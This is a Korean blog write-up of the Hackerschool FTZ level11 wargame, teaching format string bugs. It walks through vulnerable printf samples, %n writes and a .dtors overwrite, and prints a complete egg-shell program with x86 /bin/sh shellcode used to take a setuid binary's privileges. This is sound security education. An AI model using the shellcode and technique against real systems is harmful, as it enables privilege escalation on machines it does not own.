본문으로 바로가기

해커스쿨 FTZ level11 (포맷 스트링 버그)

category Wargame/FTZ 2018. 8. 1. 11:42

level11 --- what!@#$?



우선 level11의 디렉터리를 확인한다.



attackme라는 의심스러운 파일이 존재한다 attackme는 level12의 권한을 가지고 있고, setuid가 걸려있는 파일이다.


공격할 대상을 attackme로 가정하고 hint를 보자.



hint를 보면 포맷스트링 취약점버퍼 오버플로우 취약점이 보인다.


앞서 말했듯이 컴퓨터는 2진수만 이해할 수 있다. 하지만 우리가 2진수로 데이터를 읽기에 부적절하다.

따라서 메모리에 2진수로 저장되어 있는 값을 사용자가 알기 쉬운 형태로 출력하는 형태가 포맷 스트링이다.


버퍼오버플로우 취약점이 존재한다는 것은 앞서 확인했던것 처럼 알 수 있다.

하지만 포맷 스트링 취약점 관련 문제는 처음 접하기 때문에 포맷 스트링 취약점이 정확히 무엇을 뜻하는지 모를것이다.


따라서 포맷 스트링 취약점에 대해 알아본 뒤 공격을 진행할 것이다.


포맷 스트링 취약점을 가지고 있는 아래 소스를 살펴보자.



1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
 
int main(int argc, char *argv[])
{
        int value=10;
        char *marco="I am M4RC0!!!";
        char *superdk="you can contact Me!!!";
 
        printf(argv[1]);
        printf("\n");
}
cs



일반적으로 우리가 printf("%s", argv[1])을 사용하지 않고 printf(argv[1])을 사용한것에 집중하자.

위와 같이 소스를 작성할 때 메모리 구조를 알아보자.




gcc로 컴파일 할 때 -mpreferred-stack-boundary=2를 이용하여 스택의 boundary가 2 byte씩 증가하도록 컴파일 한다.

또한 함수의 프롤로그를 보면 지역변수를 위해 0xC(12) byte의 공간을 만들어준다.


fmt2_superdk의 메모리 구조를 아래와 같이 나타낼 수 있다. 



fmt2_superdk의 메모리 구조를 알아봤으니 fmt2_superdk 파일을 실행시켜보자.




상당히 흥미로운 상황이 발생했다. 우리가 예상할 수 있는 일반적인 string을 인자로 전달했을 때 사용자가 의도한대로 출력이 되지만,

서식 지정자를 이용하여 출력을하면 printf("%8x")로 받아들여 메모리 어딘가의 값을 출력한다.

804841e로 미루어보아 메모리상의 주소값임을 추측할 수 있다.


printf family function에서 포맷 스트링 취약점이 발생하는 이유는 뭘까???

printf family function이 포맷 스트링의 서식 지정자의 개수를 확인하지 않는다.

즉, printf family function은 포맷 스트링에 대한 모든 인자가 전달 되었다는 가정하에 스택에서 값을 찾아 출력하기 때문이다.


우리의 fmt2_superdk의 메모리 구조의 예측대로라면 %8x를 8번 전달하면 위에서 나타낸 그림과 똑같이 나올 것이다.




이제 gdb를 통해 우리가 예측한대로 메모리가 적재되었는지 확인하고,

이와 같이 포맷 스트링 취약점으로 인해 stack 영역의 메모리가 노출 될 수 있다는 것을 확인하자.





printf 하기전의 메모리 상태를 분석하기 위해서 printf 함수를 실행하기 전에 break point를 설정한다.

r "%8x %8x %8x %8x %8x %8x %8x %8x"을 run 하면서 인자를 전달할 수 있다.





위와 같이 printf 함수를 실행하기 전 stack 메모리 구조를 분석하면 우리가 예측한 메모리 구조와 정확히 일치하는것을 확인할 수 있다.


그렇다면 printf 함수는 어떻게 인자를 전달할까?






위에서 보듯이 printf 함수의 인자를 push한 뒤 printf 함수를 호출한다.

printf를 호출한 상태에서 메모리 구조를 보면 아래와 같이 나타낼 수 있다.



fmt2_superdk를 정확히 분석했으니 level11의 attackme를 분석해보자.



이와 같이 attackme 파일을 포맷스트링 취약점을 가지고 있다.

지금까지 설명을 바탕으로 하면 포맷 스트링 취약점으로 인해 스택영역의 메모리를 볼 수 있다.라고 말할 수 있다.

하지만 스택영역의 메모리를 보는것보다 더 큰 취약점이 존재한다.

바로 "%n" 서식 지정자를 통해 메모리에 의도한 값을 write 할 수 있다는 것이다.


"%n"의 write를 알아보기 위해 소스 코드를 간단히 작성했다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int main(int argc, char *argv[]) {
   char text[1024];
   static int test_val = -72;
 
   if(argc < 2) {
      printf("Usage: %s <text to print>\n", argv[0]);
      exit(0);
   }
   strcpy(text, argv[1]);
 
   printf("Good way for print\n");
   printf("%s", text);
 
 
   printf("\nBad way for print\n");
   printf(text);
 
   printf("\n");
 
   // Debug output
   printf("[*] test_val @ 0x%08x = %d 0x%08x\n"&test_val, test_val, test_val);
 
   exit(0);
}
cs



간단히 fmt_vuln 파일을 실행을 해보면 아래와 같이 나타낼 수 있다.





네 번째 %x 서식 지정자에 "AAAA"의 문자열이 있음을 확인 할수 있다.

네 번째 %x 서식 지정자를 %n으로 바꾸면 어떠한 일이 벌어질까?





위와 같이 %n을 통해 지정된 메모리주소에 값을 write 할 수 있다. 

그러면 왜 31이 write 되었을까? "%n"은 지금까지 출력된 값을 쓰는 것이다

? bfffdf20.00000000.00000000.가 31 byte를 의미한다.


만일 우리가 0x080495d4 번지에 0xddccbbaa를 쓰고 싶다면 어떻게 작성해야할까??


short write, Direct parameter Access를 이용하여 보다 쉽게 접근 할 수 있다.


short write는 말 그대로 2 byte 씩 write하는 것이다.


Direct parameter는 아래의 화면을 보면 이해하기 쉬울것이다.


"%n$d"를 이용해 n번째 parameter에 바로 접근 가능하다.

$는 특수기호이기 때문에 \$로 사용해야한다.




만일 우리가 0x080485d4번지가 항상 실행해야하만 하는 함수이고 값을 쉘코드의 주소로 write하면 쉘코드가 실행될 것이다.

이와 같이 포맷 스트링도 위험한 취약점을 가지고 있다.


그렇다면 어떤 메모리 주소를 공격해야할까? 프로그램에서 어느 부분에 집중해서 공격해야 할까?


정답은 바로 destructor(파괴자)에 있다.


일반적으로 gun로 컴파일된 binary 프로그램에는 .dtor and .ctor, 파괴자와 생성자가 자동으로 생성된다.

생성자는 main함수가 실행되기 전에 실행되고, 파괴자는 프로그램이 종료되기 전에 실행된다.



attackme에도 마찬가지로 .dtor 섹션이 존재한다.

또한 .dtor 섹션은 only read 키워드가 없어서 쓰기 가능한 영역이다.

__DTOR_END__(0x08049610)에 셸코드의 주소를 넣으면 프로그램이 끝나기 전에 쉘코드가 실행될 것이다.


지금까지 공부한 내용을 바탕으로 level11의 attackme를 공격해보자.


쉘코드를 위해 간단한 EGG SHELL을 작성할 것이다.

소스는 아래와 같다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
/*
 * Author : superdk@hanmail.net
 * DATA : eggshell code
 * LICENSE : GNU License
 */
 
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
#define DEFAULT_OFFSET          0
#define DEFAULT_ADDR_SIZE        8
#define DEFAULT_BUFFER_SIZE     512
#define DEFAULT_SUPERDK_SIZE    2048
#define NOP                       0x90
 
 
// 배시셸을 실행시키는 셸코드
char shellcode[] =
    "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
    "\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";
 
// 스택포인터(SP) 를 가져오는 함수
unsigned long get_sp(void)
{
        __asm__("movl %esp, %eax");
}
 
 
int main(int argc, char **argv)
{
    char    *ptr, *superSH;
    char    shAddr[DEFAULT_ADDR_SIZE + 1];
    char    cmdBuf[DEFAULT_BUFFER_SIZE];
    long    *addr_ptr, addr;
    int     offset=DEFAULT_OFFSET;
    int     i, supershLen=DEFAULT_SUPERDK_SIZE;
    int     chgDec[3];
 
    // 셸코드를 올릴 포인터 주소에 동적 메모리 할당
    if ( !(superSH = malloc(supershLen)) )
    {
        printf("Can't allocate memory for supershLen");
        exit(0);
    }
 
    // 셸코드의 주소 읽어와서 화면에 출력
    addr = get_sp() - offset;
    printf("Using address: 0x%x\n", addr);
 
    // 셸코드 실행 확률을 높이기 위해서, 셸코드 앞에 충분한 NOP 추가
    ptr = superSH;
    for(i = 0; i < supershLen - strlen(shellcode) - 1; i++)
        *(ptr++= NOP;
 
    // NOP 뒤에 셸코드 추가
    for(i = 0; i < strlen(shellcode); i++)
        *(ptr++= shellcode[i];
 
    // 배열의 끝을 명확히 알려주기 위해 문자열의 끝 표시
    superSH[supershLen - 1= '\0';
 
    // SUPERDK 라는 환경변수명으로 셸코드를 환경 변수에 등록
    memcpy(superSH, "SUPERDK=", DEFAULT_ADDR_SIZE);
    putenv(superSH);
 
    // 새로운 배시셸 실행
    system("/bin/bash");
}
 
cs



EGG shell은 간단히 설명하면 셸 코드를 메모리의 환경변수로 등록한 뒤 등록된 메모리의 주소를 출력하고 환경변수가 등록된 셸을 띄우는 것이다.



쉘코드가 환경변수에 등록되었고 등록된 환경변수의 주소가 0xbfffebd8인 배시셸이 실행된 상태이다.

__DTOR_END__(0x08049610)주소에 0xbfffebd8를 write하면 프로그램이 종료되기 전에 셸코드가 실행되면서 level12의 권한을 얻을 수 있다.





다음과 같이 level12의 권한을 얻을 수 있다.


에그셸의 주소를 write 했는데 제대로 실행되지 않을 수 있다. 이러한 경우 환경변수의 주소를 다시 출력해서 확인해야한다.



level12의 셸을 가진 상태에서 my-pass 명령을 입력해 passwd를 알아내면 된다.





'Wargame > FTZ' 카테고리의 다른 글

해커스쿨 FTZ level13 (스택 가드)  (0) 2018.08.02
해커스쿨 FTZ level12 (버퍼 오버 플로우)  (0) 2018.08.01
해커스쿨 FTZ level10  (0) 2017.09.02
해커스쿨 FTZ level9  (0) 2017.08.21
해커스쿨 FTZ level8  (0) 2017.08.20